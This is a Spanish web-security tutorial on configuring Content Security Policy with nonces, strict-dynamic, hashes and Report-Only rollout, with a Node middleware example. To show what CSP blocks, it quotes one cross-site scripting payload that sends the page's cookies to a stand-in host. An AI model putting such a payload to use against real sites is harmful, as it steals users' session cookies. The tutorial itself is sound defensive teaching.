🛡️ Seguridad 🎨 Frontend

Content Security Policy explicado: cómo configurarlo bien de una vez

'unsafe-inline' no es una política de seguridad, es rendirse. Guía práctica de CSP: qué ataques previene de verdad, cómo construir una política estricta con nonces y strict-dynamic, y cómo desplegarla sin romper nada por sorpresa.

📅 27 de mayo de 2026 ⏱️ 8 min de lectura ✍️ Equipo ProgramacionWebs

La forma más rápida de “arreglar” una advertencia de CSP en consola es añadir 'unsafe-inline' a la directiva que se queja. También es la forma más rápida de convertir tu Content Security Policy en un comentario decorativo que no protege de nada. unsafe-inline no es una excepción puntual: es desactivar precisamente el mecanismo que hace que CSP sirva para algo, porque el ataque que CSP existe para frenar —inyectar un script en tu página— casi siempre lo hace insertando un <script> inline. Este artículo explica qué previene una CSP bien hecha, qué directivas importan de verdad, y cómo construir una política estricta sin que la primera semana de despliegue sea una cadena de roturas en producción.

Qué previene realmente una CSP

Una Content Security Policy es una cabecera HTTP (Content-Security-Policy) que le dice al navegador, de forma explícita, de qué orígenes puede cargar y ejecutar recursos una página: scripts, hojas de estilo, imágenes, fuentes, conexiones de red, iframes. El navegador aplica esa lista de forma estricta y bloquea (o solo reporta, según el modo) cualquier cosa que no encaje.

El caso de uso principal, con diferencia, es mitigar cross-site scripting (XSS). Si un atacante consigue inyectar <script>fetch('https://evil.com?c='+document.cookie)</script> en un campo que tu aplicación no escapa correctamente, una CSP bien configurada impide que ese script se ejecute, aunque haya conseguido colarse en el HTML servido. No arregla el bug de escapado —eso sigue siendo tu responsabilidad— pero limita drásticamente el daño si ese bug existe y nadie lo ha detectado todavía. CSP también ayuda contra otras clases de ataque relacionadas: frame-ancestors previene clickjacking (que tu página se cargue dentro de un iframe malicioso), y una política restrictiva de connect-src limita a dónde puede exfiltrar datos un script que sí haya conseguido ejecutarse por otra vía.

Anatomía de una política: las directivas que importan

CSP se compone de directivas, cada una controlando un tipo de recurso. Estas son las que de verdad marcan la diferencia entre una política decorativa y una que protege:

DirectivaQué controlaNota práctica
default-srcValor de respaldo para cualquier directiva no especificada explícitamentePonlo restrictivo ('self' o 'none') y añade excepciones directiva por directiva
script-srcQué scripts pueden ejecutarseLa directiva más crítica contra XSS; aquí es donde importa evitar 'unsafe-inline'
style-srcQué hojas de estilo pueden cargarseMenos crítica para XSS clásico, pero relevante contra exfiltración vía CSS
img-src, font-src, media-srcOrígenes de recursos estáticosSuelen poder ser permisivos sin gran riesgo
connect-srcA qué orígenes puede conectarse el JS de la página (fetch, XHR, WebSocket)Clave para limitar exfiltración de datos si un script consigue ejecutarse
frame-ancestorsQuién puede embeber tu página en un <iframe>Previene clickjacking; sustituye a la antigua cabecera X-Frame-Options
object-srcPlugins tipo Flash/Java (<object>, <embed>)Ponlo siempre en 'none': no hay razón legítima para permitirlo en 2026
base-uriQué valores puede tomar <base href>Ponlo en 'none' o 'self'; sin esto, un atacante puede redirigir rutas relativas de toda la página
form-actionA qué URLs puede enviarse un <form>Evita que un formulario inyectado envíe datos a un dominio del atacante
upgrade-insecure-requestsFuerza que las peticiones HTTP se sirvan por HTTPSÚtil como red de seguridad adicional, no sustituye a HSTS

El error de manual: 'unsafe-inline' por pereza

'unsafe-inline' en script-src permite ejecutar cualquier <script> inline y cualquier manejador de evento inline (onclick="..."), venga de donde venga. Es, literalmente, desactivar la protección contra XSS que es la razón principal por la que existe CSP. Aparece con tanta frecuencia en políticas reales porque es la solución de una línea a un problema real: refactorizar código legacy lleno de <script> inline y atributos onclick cuesta tiempo, y 'unsafe-inline' hace que los errores de consola desaparezcan sin tocar una sola línea de HTML.

Cómo construir una política estricta sin romper la aplicación

La alternativa real a 'unsafe-inline' no es prohibir todo el JavaScript inline sin excepción: es autorizar explícitamente, por petición, qué scripts concretos son legítimos.

Nonces: un permiso de un solo uso por petición

Un nonce es un valor aleatorio generado en el servidor en cada respuesta, incluido tanto en la cabecera CSP como en el atributo nonce de cada <script> que quieras permitir. El navegador solo ejecuta scripts inline cuyo nonce coincida exactamente con el de la cabecera de esa respuesta concreta.

Content-Security-Policy: script-src 'nonce-8Fh3ndL9x2' 'strict-dynamic'; object-src 'none'; base-uri 'none';
<script nonce="8Fh3ndL9x2">
  // Este script se ejecuta porque el nonce coincide con la cabecera
  console.log('permitido');
</script>

El nonce debe generarse con un generador criptográficamente aleatorio (nunca un contador ni un timestamp) y cambiar en cada respuesta HTTP. Un middleware típico en un backend Node genera el valor antes de renderizar la plantilla y lo inyecta en ambos sitios:

import { randomBytes } from 'node:crypto';

app.use((req, res, next) => {
  const nonce = randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;
  res.setHeader(
    'Content-Security-Policy',
    `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'self';`
  );
  next();
});

strict-dynamic: no listar cada CDN a mano

Sin strict-dynamic, tendrías que añadir explícitamente a script-src cada dominio del que cargas scripts de terceros (analítica, CDN de librerías, widgets), y mantener esa lista sincronizada cada vez que algo cambia. strict-dynamic resuelve esto de forma elegante: la confianza que un nonce le da a un <script> se propaga automáticamente a cualquier script que ese script cargue dinámicamente (por ejemplo, insertando un nuevo <script> vía document.createElement). Solo necesitas poner el nonce en tus scripts de entrada; el resto de la cadena de carga hereda la confianza sin necesitar más entradas en la lista.

Hashes: para scripts estáticos que no cambian entre despliegues

Si tienes un script inline fijo (no generado dinámicamente por request), puedes autorizarlo por el hash SHA-256 de su contenido exacto en lugar de por nonce:

Content-Security-Policy: script-src 'sha256-K2vG8k5zY...' 'strict-dynamic';

Cualquier cambio de una sola coma en ese script invalida el hash, lo cual es una ventaja de seguridad (nadie puede modificar el script sin que deje de coincidir) pero exige regenerar el hash en cada build si el contenido cambia.

Desplegar sin miedo: modo Report-Only primero

Activar una CSP estricta directamente en modo de bloqueo, sin haberla probado antes, es la forma más segura de romper funcionalidad en producción sin enterarte hasta que un usuario se queje. La cabecera Content-Security-Policy-Report-Only aplica la misma política pero solo para generar reportes de violación, sin bloquear nada:

Content-Security-Policy-Report-Only: script-src 'nonce-8Fh3ndL9x2' 'strict-dynamic'; report-uri /csp-violations;

El flujo recomendado:

  1. Despliega la política deseada solo en modo Report-Only, con un endpoint que reciba los reportes de violación.
  2. Revisa los reportes durante un periodo razonable (días, no minutos) para detectar scripts o estilos legítimos que la política bloquearía.
  3. Ajusta la política para cubrir esos casos legítimos —añadiendo el nonce donde falte, nunca añadiendo 'unsafe-inline' como atajo.
  4. Cuando los reportes se acerquen a cero, promueve la misma política a la cabecera Content-Security-Policy real, en modo de bloqueo.

Herramientas como el CSP Evaluator de Google analizan una política ya escrita y señalan directivas débiles o bypasseables antes de que llegue a producción.

Errores comunes al implementar CSP

  • Usar * en cualquier directiva sensible. Un comodín en script-src anula por completo el propósito de la directiva; es funcionalmente equivalente a no tener política para ese recurso.
  • Poner la política en una etiqueta <meta> en vez de en la cabecera HTTP. Funciona parcialmente, pero varias directivas (frame-ancestors, report-uri, sandbox) se ignoran completamente cuando se declaran vía <meta>. Usa siempre la cabecera HTTP real.
  • Olvidar frame-ancestors. Es fácil centrarse solo en XSS y olvidar que CSP también es la forma moderna de prevenir clickjacking; sin esta directiva, tu página puede seguir siendo embebida en un iframe ajeno.
  • Copiar una política de otro proyecto sin adaptarla. Una CSP que funciona para una aplicación con un stack de terceros distinto (analítica, pagos, widgets) probablemente bloqueará —o dejará pasar de más— recursos que no tienen nada que ver con tu aplicación real.

Una CSP estricta no sustituye escapar el output

Con todo esto en su sitio, sigue siendo verdad que la defensa primaria contra XSS es escapar correctamente cada dato no confiable según el contexto donde se inserta: HTML, atributo, JavaScript, URL. CSP es la capa que limita el daño si esa defensa primaria falla en algún punto que nadie detectó en revisión de código. Si tu aplicación depende de 'unsafe-inline' para funcionar, no tienes una política de seguridad: tienes una cabecera HTTP que documenta, con precisión, que tu aplicación es vulnerable a XSS si algo falla en el escapado. La diferencia entre ambas cosas es exactamente el trabajo de migrar a nonces que describe este artículo.

Compartir